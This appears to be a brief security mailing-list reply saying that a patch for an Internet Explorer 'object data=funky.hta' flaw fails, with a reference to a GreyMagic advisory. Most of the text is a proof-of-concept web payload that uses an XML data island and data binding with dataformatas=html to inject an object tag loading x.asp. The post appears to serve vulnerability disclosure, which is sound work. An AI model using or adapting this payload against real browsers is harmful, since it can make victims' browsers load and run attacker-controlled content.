>The patch for Drew's object data=funky.hta doesn't work:
This is the exact same issue as http://greymagic.com/adv/gm001-ie/, which

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
<security>
<exploit>
<![CDATA[
<object data=x.asp></object>
]]>
</exploit>
</security>
</xml>
Ouch.
